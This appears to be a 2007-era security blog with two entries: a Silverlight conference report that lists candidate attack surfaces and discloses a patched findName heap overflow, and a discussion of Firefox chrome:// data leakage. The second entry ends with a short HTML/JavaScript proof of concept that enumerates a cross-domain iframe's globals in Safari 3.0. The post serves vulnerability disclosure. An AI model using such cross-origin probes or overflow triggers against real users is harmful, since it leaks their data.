Larholm.com

Yesterday I was at a Silverlight conference in Copenhagen which was actually quite interesting. For those of you who might not know what Silverlight is, it is a Flash competitor developed by Microsoft based on Windows Presentation Foundation and XAML. If you are not interested in Silverlight development in general then jump straight to the end of this article for the vulnerability

Jeppe Rørbæk from Microsoft Denmark gave the first presentation which mainly focused on the basics of embedding Silverlight 1.0 and creating XAML files. I have been experimenting with Silverlight since the first CTP release back in December 2006, so most parts of this presentation was a bit repetitive for me. The main consensus that I could get from the other attendees was that Microsoft should focus on shipping a default Aspx Extender for embedding Silverlight applications, as I seemed to be the only one comfortable enough with Javascript to really bother getting my hands dirty. The lack of input controls in the 1.0 release was also a bit discomforting to some, although regular HTML input boxes can be used in its place.

Next up was Martin Eiler from Valtech who focused on XAML development through Blend Expression. Martin showcased a video player application that he was currently developing, and I couldn’t help noticing the similarities between it and Joost, particularly when it came to the messaging aspects. Joost is written in Mozilla’s XUL and from the walkthrough of some of his code it was quite clear that Silverlight development is a lot more straightforward than dealing with the typical RDF hell in XUL development.

Martins presentation also gave me the most ideas for what areas I should focus on when finding vulnerabilities in Silverlight. Font embedding in Silverlight is vastly simpler than in Flash and it is accomplished through automatically downloading a ZIP file containing a Truetype font which is then parsed and rendered on your XAML text. I could imagine that fuzzing the Truetype renderer might uncover some interesting parsing vulnerabilities. Failing that, there is some interesting potential for directory traversal vulnerabilities through the Downloader object in Silverlight, which will automatically decompress ZIP archives and store its content on your local hard drive. Since the plugin itself is not written in managed code and is responsible for parsing and rendering not just Truetype fonts but also PNG, BMP, TIFF and WMF images I will also have a go at it with some image fuzzing and see what stands out.

Next up was Niels Hartvig, founder of the open source Umbraco CMS. The first part of his presentation focused on a Powerpoint replacement that Niels had developed in Silverlight, which was a great success with the audience. This transitioned into an example of how Umbraco, or any other CMS, could be extended to serve dynamic XAML documents (Silverlight applications). The audience was mainly comprised of ASP.NET and back end developers, so the presentation was a natural fit and most likely inspired a couple of developers on how they could more easily use Silverlight as a presentation layer. Unfortunately his Powerpoint replacement was written for Silverlight 1.0, so all of the XAML generation and event handling relied heavily on Javascript. I would love to see a 1.1 release with all of the interaction dynamics staying in C#. Just as with the regular DOM the Silverlight Object Model will only allow you to retrieve data from the domain where it was served, but seeing as the Silverlight team has probably had to implement this logic themselves instead of borrowing from IE there could be some interesting potential for terminating string references (think %00).

Jeppe Rørbæk finished off the conference with a look at some of the new features in Silverlight 1.1, particularly the CLR and DLR implementations which will be a part of the plugin bundle. Most of the audience seemed thrilled enough with the new vector and video capabilities of Silverlight 1.0, but having the promise of a C# CLR embedded in the browser dangling in front of them left most with the impression that they should neglect the 1.0 release until they could do some “real” work in 1.1.

There will still be a lot of Javascript interfacing in 1.1, which is only natural when you are interfacing with the DOM of your HTML document. From what I could see in Jeppe’s code it seems apparent that exposing events to Javascript from the managed C# code is implemented by assigning a JS function reference on an exposed property. This will let you call unmanaged code from C# and since I can control the entirety of that pointer reference I can imagine that this will also be a candidate for vulnerabilities.

And speaking about vulnerabilities, I thought I would detail a vulnerability that was silently patched in the Release Candidate of Silverlight

The beta release of Silverlight 1.0 had a heap overflow on the findName method which occurs after handing it a string larger than 260086 bytes.

Realistically speaking, this has not been a threat to a lot of people. Unlike the Safari 3.0 release for Windows, which received millions of end user installations after being featured prominently on the frontpage of apple.com, the beta release of Silverlight has gone largely unnoticed outside of developer circles.

What is more interesting than the vulnerability itself, at least to me, is that it highlights how Microsoft has not implemented static source code analysis as part of either their commit cycles or beta release builds. This seems to be reserved for release candidates and greater.

To sum it all up, I think that Silverlight is an interesting technology and a worthy Flash competitor. Adobe has suddenly seen some actual competition arise, which has pushed them to update their Flash player with h.264 video and AAC audio playback. Whether or not Youtube decides to stay with Flash or go with HD quality WMV this can only be good news, as we can hopefully abandon those awfully looking FLV files.

And whether or not any of that happens I have found an interesting new product to uncover some vulnerabilities in, so remember to subscribe to the feed

The summer is officially over and I hope yours has been as fun as mine. I didn’t go to Blackhat or DefCon this year, so I hope the rest of you had a good time for me. As for this site, it’s time to start writing some articles again

Ronald van den Heetkamp has posted an article about about what he calls Firefox Remote Variable Leakage. It’s not a very long article but it does highlight a very simple concept, namely that of data leakage through URL protocols (see Bugzilla #292789).

A web page is comprised of a lot more than simply text. Images, style sheets, Javascript and Flash movies are just some of the many embeddable data types. As a browser vendor you have to consider a lot of specific factors for each of these data types and their embedding container element to prevent undesired side effects, such as what mime types the element can reference and use, what data is exposed to script and what data channels, such as specific URL protocols, it is allowed to retrieve data from.

The majority of request verification in browser such as Internet Explorer or Firefox is handled by the same basic code which tends to look at two things, the location of the requesting container and the location of the requested data. From there it trails off in different directions that are mainly influenced by the browsers own application design.

Internet Explorer uses the concept of security zones to differentiate between content privileges, with e.g. the Internet Zone being restricted and the My Computer zone being (historically) unrestricted. Firefox determines the content privileges based on its executing URL protocol origin, with e.g. http:// content being restricted and chrome:// content being unrestricted.

Both of these approaches are implemented with a patchwork of special cases developed over the years in the form of whitelists, blacklists and exceptions. As an example, Internet Explorer still allows you to link to res:// data (resources in system DLL files) from any page in any security zone because it is a fundamental building block of its error page implementation, but it doesn’t allow you to read the data. Likewise, Firefox allows you to reference chrome:// data (resources in the browsers XUL and extensions) from certain elements because it is a fundamental building block of its user interface.

And that’s where the current problem lies in Firefox. It prevents you from linking to chrome content from http content, such as by navigating an IFRAME to a chrome URL, but it will happily let you read chrome content from http content by parsing script files and displaying image data - which is the exact opposite behavior from that displayed by Internet Explorer.

But is it dangerous? The short answer is, it depends.

Since Firefox has based their security model on the executing URL protocol origin it shouldn’t matter if you can include script data from the chrome URL protocol on your web page. It is simply read as a piece of text and then executed with the privileges of your http content, which is very low, so even if your chrome script references the nsIProcess interface the script is now being executed with your lower privileges and will simply fail.

It does matter, however, when you can include chrome data that contains sensitive user data. Firefox extensions are all comprised of XUL that is exposed to the browser through the chrome protocol, and as such any data files in the extension can be read from http content. The severity of this data leakage depends on the how the extension has been implemented.

Ronald posted some comments on RSnake’s blog where he hints at having found some problems in the FoxyProxy extension in that it stores usernames and passwords in chrome accessible locations.

It might also matter if your chrome data triggers any actions based on the request itself, such as querying a database or reading files, but I can’t think of any situation where that currently happens.

And speaking about data leakage through script, here is a little bonus from me to you - a data leakage vulnerability that was quietly fixed in Safari 3.01 without being mentioned in the release notes

Safari 3.0 will let you iterate the window object of an IFRAME and reveal the names of any global variables or functions, even if the document inside the IFRAME is on a foreign host and cross domain scripting checks should have prevented it.

<html><body>
<textarea id=”output”></textarea>
<script>
function snurf(){
var s=”", i;
for(i in frames[0]) try{ s+= i + “,” } catch(e){};
document.getElementById(”output”).value = s;
}
</script>
<iframe src=”http://www.google.com/” onload=”snurf()”></iframe>
</body></html>

The above will simply iterate the window object and display any variables that it has found. Internet Explorer, Firefox, Opera and Safari 3.01 will not display any sensitive data. Safari 3.0 will happily display the presense of the qs, sf and google functions and object